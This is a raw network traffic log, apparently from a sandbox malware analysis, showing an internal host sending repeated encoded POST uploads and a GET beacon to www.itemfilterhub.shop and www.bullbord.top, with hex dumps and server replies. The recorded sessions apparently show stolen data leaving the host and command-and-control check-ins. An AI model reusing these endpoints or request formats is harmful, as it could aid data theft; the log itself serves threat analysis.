30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.11.20	49912	172.67.166.145	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:16.299103022 CEST	832	OUT	POST /p1v4/ HTTP/1.1 Host: www.itemfilterhub.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.itemfilterhub.shop Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.itemfilterhub.shop/p1v4/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 61 55 66 50 66 54 68 39 4b 36 6c 49 34 79 58 63 43 43 36 43 46 6a 6c 33 79 42 2b 62 4c 31 71 66 4d 6c 59 6e 4a 72 37 6b 6c 31 4d 47 76 5a 6f 2f 4b 7a 33 62 4e 73 6d 6b 36 6c 43 33 70 2f 4c 74 41 54 69 46 73 38 4d 6b 73 4b 7a 58 72 77 67 56 58 61 48 50 34 32 45 58 4e 5a 6d 48 34 4e 2f 7a 31 53 55 70 52 41 75 4e 65 69 6a 75 67 6c 37 42 58 6b 79 64 59 57 73 4a 72 46 46 7a 64 64 54 30 42 59 7a 66 4b 2f 47 63 53 70 36 4e 72 64 66 5a 73 4f 31 2b 4a 67 65 6a 2f 6f 72 4f 62 32 57 44 32 2f 55 31 7a 30 56 6a 64 53 51 4e 63 32 45 78 75 38 39 46 75 2f 62 59 48 65 53 58 36 78 4b 64 77 41 3d 3d Data Ascii: ij60MtY=aUfPfTh9K6lI4yXcCC6CFjl3yB+bL1qfMlYnJr7kl1MGvZo/Kz3bNsmk6lC3p/LtATiFs8MksKzXrwgVXaHP42EXNZmH4N/z1SUpRAuNeijugl7BXkydYWsJrFFzddT0BYzfK/GcSp6NrdfZsO1+Jgej/orOb2WD2/U1z0VjdSQNc2Exu89Fu/bYHeSX6xKdwA==
Aug 27, 2024 08:04:16.565432072 CEST	748	IN	HTTP/1.1 404 Date: Tue, 27 Aug 2024 06:04:16 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dWu%2BcTHG6yFtHhae%2F9RP2E9eT4UQgBQWV7mP4buF6ufYjgMPywymG%2Bk%2FLhQx36WZM7kyidV5m3Iy0mLIGkM2tdfwPG0nzHrM8eL3Otyo%2FXphOQ379yTVPi5xsHVOF9NCqTe2wJhTFTtt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b99dcfa3b3420a2-IAD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c 8e 41 0a c3 30 10 03 ef 7e 45 c8 03 b2 31 69 6f ea 1e fb 8f 3a 5e b2 06 c7 06 b3 d0 f6 f7 25 69 02 a5 27 81 34 42 82 da 9a d9 41 e5 11 19 96 2c 0b 5f c6 a9 bb d7 16 52 8c 52 40 5f 13 b4 23 0e a1 c6 77 17 96 b9 e6 da 6e fd 53 93 49 cf 0e b3 14 93 c6 50 ff df 57 cf a0 23 76 d0 c6 27 5b 96 54 5e e4 07 7f 1d c6 1f 82 b6 85 4d f7 6b 1f 00 00 00 ff ff 03 00 96 12 38 3e a1 00 00 00 0d 0a Data Ascii: 89\A0~E1io:^%i'4BA,_RR@_#wnSIPW#v'[T^Mk8>
Aug 27, 2024 08:04:16.565443993 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.11.20	49913	172.67.166.145	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:18.936269045 CEST	1172	OUT	POST /p1v4/ HTTP/1.1 Host: www.itemfilterhub.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.itemfilterhub.shop Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.itemfilterhub.shop/p1v4/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 61 55 66 50 66 54 68 39 4b 36 6c 49 34 53 48 63 41 6a 36 43 48 44 6c 30 2b 68 2b 62 42 56 71 62 4d 6c 45 6e 4a 75 58 30 6c 44 63 47 73 38 4d 2f 4a 79 33 62 45 38 6d 6b 78 46 43 79 30 76 4c 69 41 54 75 33 73 39 77 6b 73 4a 50 58 74 43 34 56 41 36 48 4d 7a 57 45 55 45 35 6d 4b 38 4e 2f 70 31 53 59 66 52 45 79 4e 65 54 50 75 6a 6e 54 42 54 32 4b 65 56 57 73 4c 2b 56 46 77 50 64 53 31 42 66 37 58 4b 36 44 70 53 66 4b 4e 72 2b 58 5a 69 75 31 39 51 41 65 67 7a 49 71 4b 57 58 58 7a 7a 39 67 45 33 6e 74 77 54 42 55 58 66 57 67 49 76 50 4e 66 78 4d 36 6d 4e 65 37 68 36 41 47 5a 67 55 51 52 76 53 5a 70 4e 33 52 42 46 36 51 4d 68 4e 31 76 77 35 57 54 53 49 74 77 39 51 75 52 4b 5a 69 67 6c 5a 6c 41 69 47 4c 61 42 33 52 39 53 2b 73 6f 56 53 34 32 67 41 7a 39 78 54 65 6d 45 76 42 6c 71 36 33 79 44 31 59 5a 6c 48 4d 6c 7a 46 75 73 78 68 47 73 34 6e 35 4c 70 7a 6a 64 36 51 52 76 6f 6b 6b 5a 64 2b 41 64 35 6c 39 57 56 7a 39 41 4c 45 67 2b 76 4d 6a 77 7a 39 64 38 75 41 77 4d 64 4c 72 4d 68 41 [TRUNCATED] Data Ascii: ij60MtY=aUfPfTh9K6lI4SHcAj6CHDl0+h+bBVqbMlEnJuX0lDcGs8M/Jy3bE8mkxFCy0vLiATu3s9wksJPXtC4VA6HMzWEUE5mK8N/p1SYfREyNeTPujnTBT2KeVWsL+VFwPdS1Bf7XK6DpSfKNr+XZiu19QAegzIqKWXXzz9gE3ntwTBUXfWgIvPNfxM6mNe7h6AGZgUQRvSZpN3RBF6QMhN1vw5WTSItw9QuRKZiglZlAiGLaB3R9S+soVS42gAz9xTemEvBlq63yD1YZlHMlzFusxhGs4n5Lpzjd6QRvokkZd+Ad5l9WVz9ALEg+vMjwz9d8uAwMdLrMhAII04ZNH+jpTqTN+Xgf+Miso3I3haq7D585zczZ0cppJwlAhIPEel7Y2E4zTaDHaw7HAvL7tsBiScry4EBwQ6EhBWOftE8cZktyKVD4w2xp7/mnwCunmr8mzx2EXj2o/0U7pYyU9rmzKRxu/1lLT2PqoIWtjjMvI3U0wBf4RV4gVjeL+obxvQ9OIuiT/q8Cdnsw0B/zsrFjQ2A=
Aug 27, 2024 08:04:19.188381910 CEST	738	IN	HTTP/1.1 404 Date: Tue, 27 Aug 2024 06:04:19 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bRUdkVo5FXCeMAt5luK7JkC%2FqJp73IDV59U6Vp8NEtoy%2BSmUaAf5Yw1nr2dbEnVJoui6cvb%2FFEIAEgZgUsdrphedYCpr94APtPLnKIMf8kry%2FjSWu6S744XLeHMORSq1GgqkI%2BbLeinw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b99dd0aac063958-IAD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 37 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c 8e 41 0a c3 30 10 03 ef 7e 45 c8 03 b2 31 69 6f ea 1e fb 8f 3a 5e b2 06 c7 06 b3 d0 f6 f7 25 69 02 a5 27 81 34 42 82 da 9a d9 41 e5 11 19 96 2c 0b 5f c6 a9 bb d7 16 52 8c 52 40 5f 13 b4 23 0e a1 c6 77 17 96 b9 e6 da 6e fd 53 93 49 cf 0e b3 14 93 c6 50 ff df 57 cf a0 23 76 d0 c6 27 5b 96 54 5e e4 07 7f 1d c6 1f 82 b6 85 4d f7 6b 1f 00 00 00 ff ff 0d 0a Data Ascii: 7f\A0~E1io:^%i'4BA,_RR@_#wnSIPW#v'[T^Mk
Aug 27, 2024 08:04:19.188461065 CEST	15	IN	Data Raw: 61 0d 0a 03 00 96 12 38 3e a1 00 00 00 0d 0a Data Ascii: a8>
Aug 27, 2024 08:04:19.188469887 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.11.20	49914	172.67.166.145	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:21.578556061 CEST	1289	OUT	POST /p1v4/ HTTP/1.1 Host: www.itemfilterhub.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.itemfilterhub.shop Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.itemfilterhub.shop/p1v4/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 61 55 66 50 66 54 68 39 4b 36 6c 49 34 53 48 63 41 6a 36 43 48 44 6c 30 2b 68 2b 62 42 56 71 62 4d 6c 45 6e 4a 75 58 30 6c 44 55 47 73 4b 41 2f 4c 52 66 62 65 38 6d 6b 2b 56 43 7a 30 76 4c 37 41 51 65 7a 73 39 38 65 73 50 4c 58 71 52 77 56 41 6f 76 4d 32 57 45 56 42 35 6d 49 34 4e 2f 39 31 53 55 4c 52 46 44 34 65 69 72 75 67 6b 4c 42 58 42 65 64 4e 57 73 4a 2b 56 46 38 46 39 53 48 42 65 71 49 4b 36 48 70 53 5a 53 4e 71 49 54 5a 68 39 64 39 45 41 65 6e 35 6f 71 2f 63 33 58 47 7a 39 30 71 33 6e 74 4b 54 41 51 58 66 52 73 49 75 4f 4e 41 78 73 36 6d 43 4f 37 2b 77 67 4b 56 67 58 6b 5a 76 53 46 70 4e 33 4a 42 45 61 51 4d 33 2f 64 75 33 5a 57 56 51 34 73 77 35 51 71 5a 4b 5a 48 52 6c 62 70 41 69 32 76 61 54 77 4e 39 42 71 34 6f 4c 69 35 51 6b 41 7a 49 2f 7a 65 45 45 76 52 44 71 36 58 49 44 79 59 5a 6c 6d 73 6c 35 45 75 76 32 42 47 75 33 48 34 52 34 6a 76 42 36 51 42 46 6f 6b 6c 65 64 37 77 64 35 56 74 57 55 78 56 48 4d 55 67 6b 37 38 6a 2b 36 64 68 69 75 45 6f 45 64 4b 69 4a 68 48 [TRUNCATED] Data Ascii: ij60MtY=aUfPfTh9K6lI4SHcAj6CHDl0+h+bBVqbMlEnJuX0lDUGsKA/LRfbe8mk+VCz0vL7AQezs98esPLXqRwVAovM2WEVB5mI4N/91SULRFD4eirugkLBXBedNWsJ+VF8F9SHBeqIK6HpSZSNqITZh9d9EAen5oq/c3XGz90q3ntKTAQXfRsIuONAxs6mCO7+wgKVgXkZvSFpN3JBEaQM3/du3ZWVQ4sw5QqZKZHRlbpAi2vaTwN9Bq4oLi5QkAzI/zeEEvRDq6XIDyYZlmsl5Euv2BGu3H4R4jvB6QBFokled7wd5VtWUxVHMUgk78j+6dhiuEoEdKiJhHQImIZNBZ/obaSLmXgB6Mi3o20BhYGBDJQ5hcjZicpqCwkL74PZal7Y2EEGTaPHahzHBdT7mb1iUcq34EBtQ6JdBWX+tFM6ZnByKEz433xotfmoniu877xwzxCyXjm4/k47oYiU5rmwaBxp+1kOX2L2oILVjgRiI380yFeECUQ9JAClh8TK+ixuP8uV2coeVwAfwTzJzbhzPAxBIs6O4po+LW90bxKemRiUB4clbuTM/kLOjukUixtibN8qoR0UQXs4yNEpLDyvF6d7+R6ZS1igO6yMu6iXK8lbjBzLQrYq0akcxKg5VIhyZdIR25suy8s
Aug 27, 2024 08:04:21.578605890 CEST	2578	OUT	Data Raw: 39 4d 32 2b 59 45 64 7a 6a 5a 73 78 48 66 6a 49 37 48 32 4d 39 72 61 32 6d 4b 72 45 42 74 48 33 6f 45 35 66 6e 6c 42 50 30 6b 31 75 56 37 44 35 69 63 65 77 43 48 77 31 2b 59 78 67 78 46 65 59 46 64 65 4e 5a 38 6d 30 38 46 32 6f 41 62 49 76 76 65 Data Ascii: 9M2+YEdzjZsxHfjI7H2M9ra2mKrEBtH3oE5fnlBP0k1uV7D5icewCHw1+YxgxFeYFdeNZ8m08F2oAbIvve6xRV472VDyDijmHcWlGEMnImwoPg7QXsQGDXsNSA3P5w11EP9QwvgOWSO8Ehgsafqtv17VjdLLTCmlE1gciL/IKVR6Hllrmpko8C4QLYJ4bie0YiPtEyMYVaepMe4egQkZb6oCHhtc0VPkS3o+wp3eqsV2WE/XFZZ
Aug 27, 2024 08:04:21.578659058 CEST	9023	OUT	Data Raw: 6b 6a 6e 73 6a 58 48 43 45 7a 78 73 74 34 42 49 74 42 72 4e 69 78 71 37 67 56 38 52 66 72 56 6f 37 57 63 37 4d 6f 76 71 71 59 4b 43 61 33 70 4f 44 2b 4a 63 36 6b 37 33 42 63 36 6a 6f 43 41 51 69 5a 30 72 76 42 75 52 34 57 4a 6a 4d 64 51 77 30 72 Data Ascii: kjnsjXHCEzxst4BItBrNixq7gV8RfrVo7Wc7MovqqYKCa3pOD+Jc6k73Bc6joCAQiZ0rvBuR4WJjMdQw0rKkdv0+BvspfX0h8LP9hVIj9oiyWpahT6j/7ULm06RK7XILDiN05DgbhsE0z43iw7lE7H2tI3n1awMMfeSRPYuky4MmQ9LtcfI/FbF/6d2SdOIfJEKqrGfzSHQnObFSEtKnwPJknHL4JzdH+tJIRuQnIXOHf6YdvJo
Aug 27, 2024 08:04:21.679269075 CEST	1289	OUT	Data Raw: 4a 74 4d 2b 68 6e 77 4f 2b 6a 43 4d 6c 2f 75 34 4f 4b 2b 48 50 6b 66 7a 44 4c 42 62 74 4c 43 35 50 6e 69 46 36 47 7a 44 55 59 4e 45 50 49 34 35 6b 59 6d 33 45 65 6b 4f 6e 66 6c 65 52 67 69 69 63 6a 65 35 6a 73 34 77 48 66 4c 68 49 76 78 65 74 59 Data Ascii: JtM+hnwO+jCMl/u4OK+HPkfzDLBbtLC5PniF6GzDUYNEPI45kYm3EekOnfleRgiicje5js4wHfLhIvxetYEc9QBjiqGO44s9rAQ9fx24ERD7lbtuTE+sO+Zf5qT+DFNEBodaNih/8RN9jfYHjlL4PS4wQKlNZON9iUxn3BChjEYfTCv78Nuq77DwDrXLXcE1WhIq29d2igGwyF+clu4ldwREfGIBG8QyXzk6gfHitDd7rHUg6L7
Aug 27, 2024 08:04:21.679321051 CEST	1289	OUT	Data Raw: 65 64 6f 32 36 67 41 4d 33 72 4e 4b 52 4d 43 41 62 6d 70 49 2b 53 45 49 6f 35 62 58 47 43 5a 2f 4a 6a 58 79 62 48 79 2f 62 39 34 51 77 51 34 72 37 4b 45 72 61 62 31 41 53 43 77 52 62 6c 53 74 62 54 33 78 6e 44 33 74 52 63 76 41 6b 47 31 4f 6c 73 Data Ascii: edo26gAM3rNKRMCAbmpI+SEIo5bXGCZ/JjXybHy/b94QwQ4r7KErab1ASCwRblStbT3xnD3tRcvAkG1OlsxOAgZwZnYahIIzvT+qBHw2IGsGqpjXSkFxMs4RfGsll9QfXrPFXHc7A/0azu6VEWH+877+wEQJSlpY/xqXj9+OKLeEbFNV5PiwmkErqGisp4ewq8SUokkXghuGsvd0q7XmorZcAfzwtcVJLgdU2FvQDUdRzpAlZFm
Aug 27, 2024 08:04:21.679538965 CEST	10312	OUT	Data Raw: 68 4b 35 53 4e 71 34 31 49 33 2f 45 4d 61 43 6e 77 35 44 46 61 71 39 34 4e 4a 42 39 52 32 56 45 32 66 44 44 62 38 73 71 57 57 32 34 38 72 4c 49 63 4a 32 7a 4e 31 48 6c 53 67 2b 4d 31 45 66 65 42 76 35 51 4e 71 4a 61 34 2f 41 32 65 50 46 55 75 4e Data Ascii: hK5SNq41I3/EMaCnw5DFaq94NJB9R2VE2fDDb8sqWW248rLIcJ2zN1HlSg+M1EfeBv5QNqJa4/A2ePFUuNpngDgRaYOrlEID6OpejtA/oEj+N1nSsS1TPf0n3oWuuJNkh0abI/SuEFTN9F3TDNanUMIfcVAfgfqd/OyY/IdPcgDdDjGVVoIJQchXZ2AhkdWzR38ovQMEb2QX3l2KW8Dj30zLMUWzf9J3GlFUiqR57wU7BjfQ0Al
Aug 27, 2024 08:04:21.679708004 CEST	2578	OUT	Data Raw: 75 50 54 70 35 43 63 41 6c 73 34 50 74 2f 63 41 6a 77 39 74 6a 35 64 48 35 39 69 53 70 37 6f 43 7a 6d 45 4c 52 77 64 62 4f 73 54 66 61 64 30 73 30 31 2b 4f 37 76 57 65 77 4f 4d 75 6b 54 31 33 69 4f 62 4c 67 2b 34 2b 41 7a 38 51 65 39 76 43 62 63 Data Ascii: uPTp5CcAls4Pt/cAjw9tj5dH59iSp7oCzmELRwdbOsTfad0s01+O7vWewOMukT13iObLg+4+Az8Qe9vCbchiCefYiBMGB+gM084xepihkWzzZ5JEZiliu+nfIFNrtEiNgnd8BI7ODhvF9GkRQFCbG7QxNyMMrtvXyKtcGOMOXS+ZAdrHwKFPjGGX7xri7H84g4ON62b8R/OIVzhwgAW9uO3EWuQWC2iZuopl8X/5nOfsaTVKVfi
Aug 27, 2024 08:04:21.679878950 CEST	7734	OUT	Data Raw: 4b 64 35 31 70 66 75 35 43 53 71 59 4d 55 67 57 30 50 45 65 31 59 4c 65 65 66 76 75 6c 78 37 32 70 54 74 73 68 76 50 74 56 2f 52 6e 64 35 4a 6f 54 39 47 4a 47 36 30 2b 41 45 7a 5a 74 33 72 37 32 56 42 66 55 6d 69 52 51 33 48 59 6a 38 4c 44 4b 39 Data Ascii: Kd51pfu5CSqYMUgW0PEe1YLeefvulx72pTtshvPtV/Rnd5JoT9GJG60+AEzZt3r72VBfUmiRQ3HYj8LDK9L4b7ErXwLwxXTQcBaX9ShyEn6LBt/QsMbO1804LZxK6YZ9kd8+f/ZSbhjerReMF/EkTJYltseK77Uo6eXiU5bVzyHs0EERbH705e9xUoPTwDzgY7rvHAePtkQb+fpZSNxi+mMENQC6kbOwzTc9jQFemLecVMDBM6/
Aug 27, 2024 08:04:21.680047035 CEST	2578	OUT	Data Raw: 34 57 44 6b 41 64 37 33 37 2b 45 30 42 57 5a 36 50 53 6c 72 73 43 37 55 42 68 6b 65 34 6b 79 6c 55 6e 5a 72 73 73 75 34 61 79 37 52 41 5a 59 33 53 68 6f 72 2b 5a 4c 53 36 4d 6b 30 4c 71 59 37 5a 74 71 6f 4c 36 6d 32 75 2b 2f 79 45 2f 47 30 76 79 Data Ascii: 4WDkAd737+E0BWZ6PSlrsC7UBhke4kylUnZrssu4ay7RAZY3Shor+ZLS6Mk0LqY7ZtqoL6m2u+/yE/G0vy+z+CTzMJbiP6OlWB4+CcWDx1ZXPGLHKO9EKoB0xVHrtPSlLBbi8AluL/LyDZaW06P4eu72OVKUA21QkBn/Sary42rarDAwXe8Nq+8GHjgbpeXAzFMOlU3ko5bPQb1FjtftV/nbW79Eczd7ccJzJnJ9ymubfDKEqQu
Aug 27, 2024 08:04:21.780345917 CEST	1289	OUT	Data Raw: 78 44 78 41 6c 41 6e 2b 6f 52 46 48 72 49 48 53 65 50 66 34 37 68 46 7a 4d 35 70 59 4f 31 66 30 49 52 6e 4c 59 50 78 49 37 30 57 6f 73 7a 61 30 69 4f 62 6f 69 64 62 77 49 41 71 69 78 7a 6d 4d 36 6c 33 52 56 79 52 77 46 73 51 70 58 76 4c 4a 64 75 Data Ascii: xDxAlAn+oRFHrIHSePf47hFzM5pYO1f0IRnLYPxI70Wosza0iOboidbwIAqixzmM6l3RVyRwFsQpXvLJduO2NTlN6rKI7bK3kp6DjRHqVYMk+RZpY7iy4ycc3Xe9htuwRjenUYoCtjs7qHMKfwQFL540ksNRt31seJMbZea9HKVDSFcLNHkeVWZ1xAYruM0KRH5LuigLSkL9SxsMT7w5xdFg3qkFUWXt86O/DdO16TJ8HuYH2fW
Aug 27, 2024 08:04:21.780395985 CEST	3867	OUT	Data Raw: 48 33 63 70 7a 67 69 79 31 74 76 30 31 71 4a 42 4c 42 44 56 7a 6a 67 57 58 39 45 2b 6d 73 59 48 61 6f 4f 33 6b 77 53 39 49 78 57 32 45 6a 54 72 70 62 2f 6f 38 47 58 6e 79 71 4c 56 62 42 43 44 4e 6b 32 6f 44 6f 35 5a 51 71 6d 66 46 76 39 68 2f 51 Data Ascii: H3cpzgiy1tv01qJBLBDVzjgWX9E+msYHaoO3kwS9IxW2EjTrpb/o8GXnyqLVbBCDNk2oDo5ZQqmfFv9h/QZkb/MaKdyarMHI8HQl6Tjz173jLlZMopaGpNxsiGHDHYbjP1nbehrTAOg3apEqWCBEMZ5c/AOJAEoz/+dmIOo/gSS46rwqFbU3hzLqbkkxKXO9w7h9i1RGsa9bogJiJn3jGlUX/xQ8MGUJnEoEb80mV+HxUY2T1xL
Aug 27, 2024 08:04:22.023859978 CEST	742	IN	HTTP/1.1 404 Date: Tue, 27 Aug 2024 06:04:21 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W2JH1AiwRRzthgqwPCw1A04AidlXb0ia1tOL8ifolnDxZxIaVsXADa5nSZcvrmws5guY6y8cyV0CDB8hkOQWQ%2BG8UsdeU58%2F8oPkTWDFvXQpkHguadZaiKDYLyW7SaMAJN7WVz8jW68e"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b99dd1b3a64c99d-IAD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c 8e 41 0a c3 30 10 03 ef 7e 45 c8 03 b2 31 69 6f ea 1e fb 8f 3a 5e b2 06 c7 06 b3 d0 f6 f7 25 69 02 a5 27 81 34 42 82 da 9a d9 41 e5 11 19 96 2c 0b 5f c6 a9 bb d7 16 52 8c 52 40 5f 13 b4 23 0e a1 c6 77 17 96 b9 e6 da 6e fd 53 93 49 cf 0e b3 14 93 c6 50 ff df 57 cf a0 23 76 d0 c6 27 5b 96 54 5e e4 07 7f 1d c6 1f 82 b6 85 4d f7 6b 1f 00 00 00 ff ff 03 00 96 12 38 3e a1 00 00 00 0d 0a Data Ascii: 89\A0~E1io:^%i'4BA,_RR@_#wnSIPW#v'[T^Mk8>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.11.20	49915	172.67.166.145	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:24.214206934 CEST	552	OUT	GET /p1v4/?ij60MtY=XW3vckNGBZMqkh6dDgKTVQdtxgWhQhuqI1UaXPyLgSYWv7ViPFn3HMqwy3qnuuGBWlC3pPEFi6D5pQsjZrraxjUjA6OulNf3kQwJOyuMay6JsEDMWEmFSkY=&wXB=brv4Erb HTTP/1.1 Host: www.itemfilterhub.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:04:24.487061977 CEST	748	IN	HTTP/1.1 404 Date: Tue, 27 Aug 2024 06:04:24 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WJr5VpW%2B3krdXKHO%2BJ0q9YLGkDtX41Iw9HJdiJFEduhkmxMt%2FrdePWKJu25VGObcI4OMoYW6ZAHhAwL860g%2BwnDrHgDeG5eb61cfQ9weCrsQgadXcWyc7FVbFYCPnXB4T%2B0FllSFpEbG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b99dd2ba8405842-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 61 31 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 35 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: a1<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.15.0</center></body></html>
Aug 27, 2024 08:04:24.487073898 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.11.20	49916	203.161.46.205	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:29.671473980 CEST	814	OUT	POST /veti/ HTTP/1.1 Host: www.bullbord.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.bullbord.top Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.bullbord.top/veti/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 50 52 59 6c 53 78 55 30 42 4a 48 56 34 39 52 2b 61 42 42 78 39 7a 30 5a 45 5a 34 69 6e 58 6c 64 67 47 54 41 50 30 4a 2b 4c 73 65 44 46 43 46 42 2f 39 58 64 76 67 68 67 7a 6a 55 30 35 79 70 67 6a 6e 61 45 4a 55 43 2b 57 6b 78 4f 4e 65 76 4b 6c 77 7a 61 4e 54 70 4a 75 6a 74 57 75 64 78 63 68 76 6a 53 44 68 74 38 42 68 4b 4d 71 58 5a 6a 4e 38 62 36 6d 35 4b 61 69 55 39 7a 70 4b 6a 48 73 52 69 4e 56 74 78 48 4c 30 5a 4f 42 61 77 68 4a 6d 4a 58 70 58 4d 75 78 4b 53 73 71 67 71 76 59 70 37 6a 32 41 46 65 65 69 57 63 38 38 56 6e 6e 42 67 6e 57 75 6c 39 4a 2b 6b 4e 55 65 67 68 44 67 3d 3d Data Ascii: ij60MtY=PRYlSxU0BJHV49R+aBBx9z0ZEZ4inXldgGTAP0J+LseDFCFB/9XdvghgzjU05ypgjnaEJUC+WkxONevKlwzaNTpJujtWudxchvjSDht8BhKMqXZjN8b6m5KaiU9zpKjHsRiNVtxHL0ZOBawhJmJXpXMuxKSsqgqvYp7j2AFeeiWc88VnnBgnWul9J+kNUeghDg==
